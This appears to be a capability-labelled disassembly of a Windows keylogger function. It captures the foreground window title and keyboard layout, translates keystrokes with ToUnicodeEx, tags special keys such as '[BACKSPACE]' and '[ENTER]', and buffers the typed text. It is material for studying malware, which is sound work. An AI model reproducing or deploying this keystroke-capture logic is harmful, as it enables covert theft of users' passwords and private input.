Function at 0x14003f1e0
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x460]
sub rsp, 0x560
mov rax, qword [0x14012a210]
xor rax, rsp
mov qword [rbp + 0x450], rax
mov r13, rdx
mov ebx, ecx
xor r15d, r15d
mov dword [rbp + 0xb8], r15d
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x70]
call fcn.1400a83f0
lea rcx, [rbp - 0x70]
call fcn.14001eaf0
nop
lea eax, [rbx - 1]
cmp eax, 1
jbe 0x14003f2ea
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r14, rax
mov r12d, r15d
lea rsi, [r15 - 1]
test rax, rax
je 0x14003f517
lea rdx, [0x140133b5c]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r12, rax
call fcn.140004080
mov rcx, rax
test rax, rax
je 0x14003f9df
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x80], rax
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x250]
call fcn.1400a83f0
lea rdx, [rbp - 0x80]
mov ecx, dword [0x140133b5c]
call fcn.140015d80
lea rdx, str.LogonUI.exe
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call fcn.1400bc088
test eax, eax
jne 0x14003f324
lea rdx, [rdi - 0x18]
lock xadd dword [rdx + 0x10], esi
sub esi, 1
jg 0x14003f2ea
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor dil, dil
lea rcx, [rbp - 0x70]
call fcn.14001e9f0
movzx eax, dil
mov rcx, qword [rbp + 0x450]
xor rcx, rsp
call fcn.1400a5460
mov rbx, qword [rsp + 0x5b0]
add rsp, 0x560
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov r8d, 0x100
lea rdx, [rbp + 0x250]
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowTextW]
cmp byte [0x14012ae70], 0
jne 0x14003f364
mov r8d, 0x100
lea rdx, [0x140133b60]
lea rcx, [rbp + 0x250]
call fcn.1400bcbd8
test eax, eax
je 0x14003f4fe
lea r14, [rdi - 0x18]
mov r15, qword [0x1401329e0]
add r15, 0xffffffffffffffe8
cmp r14, r15
je 0x14003f428
cmp dword [r15 + 0x10], 0
jl 0x14003f415
mov rcx, qword [r14]
cmp rcx, qword [r15]
jne 0x14003f415
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
cmp dword [r14 + 0x10], 0
jl 0x14003f3b2
cmp rax, qword [r14]
jne 0x14003f3b2
mov rdi, r14
lock inc dword [r14 + 0x10]
jmp 0x14003f3eb
mov rax, qword [rax]
mov r8d, 2
mov edx, dword [r14 + 8]
call qword [rax]
mov rdi, rax
test rax, rax
je 0x14003f9ea
mov eax, dword [r14 + 8]
mov dword [rdi + 8], eax
mov r9d, dword [r14 + 8]
inc r9d
lea r8, [r14 + 0x18]
movsxd rdx, r9d
lea rcx, [rdi + 0x18]
call fcn.140006ae0
mov eax, esi
lock xadd dword [r15 + 0x10], eax
sub eax, 1
jg 0x14003f404
mov rcx, qword [r15]
mov rax, qword [rcx]
mov rdx, r15
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rax, [rdi + 0x18]
mov qword [0x1401329e0], rax
mov rdi, qword [rbp - 0x80]
jmp 0x14003f428
mov r8d, dword [rdi - 0x10]
mov rdx, rdi
lea rcx, [0x1401329e0]
call fcn.140011410
lea r8, [rbp + 0x250]
mov edx, 0x100
lea rcx, [0x140133b60]
call fcn.1400b81fc
xor ecx, ecx
call fcn.1400bd1e0
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x90]
call fcn.1400bdc7c
lea r9, [rbp + 0x90]
lea r8, str._F__T
mov edx, 0x40
lea rcx, [rbp + 0xc0]
call fcn.1400bfec8
lea r15, [rbp + 0xc0]
lea rcx, [rbp - 0x60]
cmp byte [0x14012ae70], 0
lea rdx, [0x1401023e8]
jne 0x14003f49e
lea rdx, [0x1401082c8]
call fcn.140041be0
mov rdx, rdi
mov rcx, rax
call fcn.140041be0
lea r14, [0x140101e28]
mov rdx, r14
mov rcx, rax
call fcn.140041be0
lea rdx, [rbp + 0x250]
mov rcx, rax
call fcn.140041be0
mov rdx, r14
mov rcx, rax
call fcn.140041be0
mov rcx, rax
mov rdx, r15
call fcn.140041be0
mov rcx, rax
lea rdx, [0x1401082d0]
call fcn.140041be0
mov byte [0x14012ae70], 0
xor r15d, r15d
lea rdx, [rdi - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14003f517
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp ebx, 8
jne 0x14003f5e2
mov rcx, qword [0x14012b368]
test rcx, rcx
je 0x14003f5d6
lea r8, [rcx - 1]
cmp r8, rcx
ja 0x14003f568
mov qword [0x14012b368], r8
lea rbx, [0x14012b358]
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
cmovae rbx, qword [0x14012b358]
mov word [rbx + r8*2], r15w
lea rdx, str._t_BACKSPACE_
jmp 0x14003f8db
mov rdx, r8
sub rdx, rcx
mov rdi, qword [reloc.OLEAUT32.dll_VariantInit]
mov rax, rdi
sub rax, rcx
cmp rdx, rax
ja 0x14003f5be
mov qword [0x14012b368], r8
lea rbx, [0x14012b358]
cmp rdi, 8
cmovae rbx, qword [0x14012b358]
lea rdi, [rbx + rcx*2]
test rdx, rdx
je 0x14003f5ad
movzx eax, r15w
mov rcx, rdx
rep stosw word [rdi], ax
mov word [rbx + r8*2], r15w
lea rdx, str._t_BACKSPACE_
jmp 0x14003f8db
mov word [rsp + 0x20], r15w
mov r9, rdx
xor r8d, r8d
lea rcx, [0x14012b358]
call fcn.140041fa0
lea rdx, str._t_BACKSPACE_
jmp 0x14003f8db
cmp ebx, 0xd
jne 0x14003f641
lea ecx, [rbx + 0x13]
call fcn.1400a5718
mov qword [rsp + 0x78], rax
lea rbx, [0x14012b358]
mov rdx, rbx
mov rcx, rax
call fcn.140012240
nop
test rax, rax
je 0x14003f623
mov r8, rax
mov rdx, qword [0x140132968]
lea rcx, [0x140040320]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
xor r8d, r8d
lea rdx, [0x1400ff490]
mov rcx, rbx
call fcn.140011160
lea rdx, str._t_ENTER_
jmp 0x14003f8db
cmp ebx, 0x20
jne 0x14003f69f
mov ecx, ebx
call fcn.1400a5718
mov qword [rsp + 0x78], rax
lea rbx, [0x14012b358]
mov rdx, rbx
mov rcx, rax
call fcn.140012240
nop
test rax, rax
je 0x14003f681
mov r8, rax
mov rdx, qword [0x140132968]
lea rcx, [0x140040320]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
xor r8d, r8d
lea rdx, [0x1400ff490]
mov rcx, rbx
call fcn.140011160
lea rdx, [0x1401001bc]
jmp 0x14003f8db
cmp ebx, 0xbc
jne 0x14003f703
mov ecx, 0x20
call fcn.1400a5718
mov qword [rsp + 0x78], rax
lea rbx, [0x14012b358]
mov rdx, rbx
mov rcx, rax
call fcn.140012240
nop
test rax, rax
je 0x14003f6e5
mov r8, rax
mov rdx, qword [0x140132968]
lea rcx, [0x140040320]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
xor r8d, r8d
lea rdx, [0x1400ff490]
mov rcx, rbx
call fcn.140011160
lea rdx, [0x140108320]
jmp 0x14003f8db
cmp ebx, 9
jne 0x14003f714
lea rdx, str._t_TAB_
jmp 0x14003f8db
cmp ebx, 0x10
je 0x14003f8d4
lea eax, [rbx - 0xa0]
cmp eax, 1
jbe 0x14003f8d4
cmp ebx, 0x11
je 0x14003f8cb
lea eax, [rbx - 0xa2]
cmp eax, 1
jbe 0x14003f8cb
cmp ebx, 0x12
jne 0x14003f755
lea rdx, str._t_ALT_
jmp 0x14003f8db
lea eax, [rbx - 0x5b]
cmp eax, 1
jbe 0x14003f8c2
cmp ebx, 0x1b
jne 0x14003f772
lea rdx, str._t_ESCAPE_
jmp 0x14003f8db
cmp ebx, 0x23
jne 0x14003f783
lea rdx, str._t_END_
jmp 0x14003f8db
cmp ebx, 0x24
jne 0x14003f794
lea rdx, str._t_HOME_
jmp 0x14003f8db
cmp ebx, 0x25
jne 0x14003f7a5
lea rdx, str._t_LEFT_
jmp 0x14003f8db
cmp ebx, 0x26
jne 0x14003f7b6
lea rdx, str._t_UP_
jmp 0x14003f8db
cmp ebx, 0x27
jne 0x14003f7c7
lea rdx, str._t_RIGHT_
jmp 0x14003f8db
cmp ebx, 0x28
jne 0x14003f7d8
lea rdx, str._t_DOWN_
jmp 0x14003f8db
cmp ebx, 0x21
jne 0x14003f7e9
lea rdx, str._t_PG_UP_
jmp 0x14003f8db
cmp ebx, 0x22
jne 0x14003f7fa
lea rdx, str._t_PG_DOWN_
jmp 0x14003f8db
cmp ebx, 0x14
jne 0x14003f80b
lea rdx, str._t_CAPSLOCK_
jmp 0x14003f8db
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
xor edx, edx
mov r8d, 0x101
lea rcx, [rbp + 0x140]
call fcn.1400a83f0
mov qword [rbp + 0xb8], r15
lea rcx, [rbp + 0x140]
call qword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x14003f8e5
mov r8, r12
xor edx, edx
mov ecx, ebx
call qword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0xb8]
lea r8, [rbp + 0x140]
mov edx, eax
mov ecx, ebx
call qword [sym.imp.USER32.dll_ToUnicodeEx]
lea rdx, [rbp + 0xb8]
lea rcx, [rbp - 0x60]
call fcn.140041be0
lea rax, [rbp + 0xb8]
nop word [rax + rax]
inc rsi
cmp word [rax + rsi*2], 0
jne 0x14003f8a0
mov r8, rsi
lea rdx, [rbp + 0xb8]
lea rcx, [0x14012b358]
call fcn.140012440
jmp 0x14003f8e5
lea rdx, str._t_WIN_
jmp 0x14003f8db
lea rdx, str._t_CONTROL_
jmp 0x14003f8db
lea rdx, str._t_SHIFT_
lea rcx, [rbp - 0x60]
call fcn.140041be0
nop
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r15w
mov dword [rbp + 0xb8], 2
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov ecx, dword [rbp + 0x18]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14003f93f
mov rax, qword [rbp - 0x18]
mov r8, qword [rax]
test r8, r8
je 0x14003f93f
mov rax, qword [rbp - 0x38]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x10]
cmovb r8, qword [rbp + 0x10]
sub r8, rdx
sar r8, 1
jmp 0x14003f976
test cl, 4
jne 0x14003f96c
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
test rcx, rcx
je 0x14003f96c
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax]
mov rax, qword [rbp - 8]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, rcx
sar r8, 1
jmp 0x14003f976
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x14003f986
lea rcx, [rsp + 0x40]
call fcn.140011160
nop
lea rdx, [rsp + 0x40]
mov rcx, r13
call fcn.1400121a0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14003f9d1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f9cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f9d9
call fcn.1400a59a4
mov dil, 1
jmp 0x14003f2ed
call fcn.1400b4704
int3
mov ecx, 0x80004005
call fcn.140003f50
nop
call fcn.140006ad0
int3